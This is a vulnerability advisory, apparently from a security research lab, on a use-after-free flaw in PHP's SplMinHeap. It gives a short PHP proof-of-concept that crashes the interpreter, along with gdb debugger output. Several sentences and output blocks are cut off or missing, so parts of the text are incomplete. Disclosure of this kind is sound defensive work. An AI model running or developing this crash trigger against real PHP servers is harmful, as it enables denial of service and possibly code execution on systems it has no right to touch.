Vulnerability Type: Use After Free [CWE-416]
Risk Level: Medium
CVSSv2 Base Score: 4.6 (AV:L/AC:L/Au:N/C:P/I:P/A:P)

------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered use-after-free vulnerability in a popular programming language PHP, which can be exploited to cause crash and possibly execute arbitrary code on the target system.
The vulnerability resides within the 'spl_heap_object_free_storage(
Below is a simple code that will trigger a crash:
<?php
class SplMinHeap1 extends SplMinHeap {
public function compare($a, $b) {
return -parent::notexist($a, $b);
}
}
$h = new SplMinHeap1();
$h->insert(1);
$h->insert(6);
$h->insert(5);
$h->insert(2);
?>
Running the following PoC we get:
gdb-peda$ r ~/Desktop/heap_uaf.php
Starting program: /usr/local/bin/php ~/Desktop/heap_uaf.php
PHP Fatal error: Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.

As seen above when trying to dereference the value from $rax (which has been already freed) PHP crashes.
Stopped reason: SIGSEGV

Running the backtrace command we can see a couple of freed variables: zval_ptr, pz

Lastly, from stack #2 we clearly see that the zval_ptr pointer (0x7ffff7fcba88) points to freed memory:
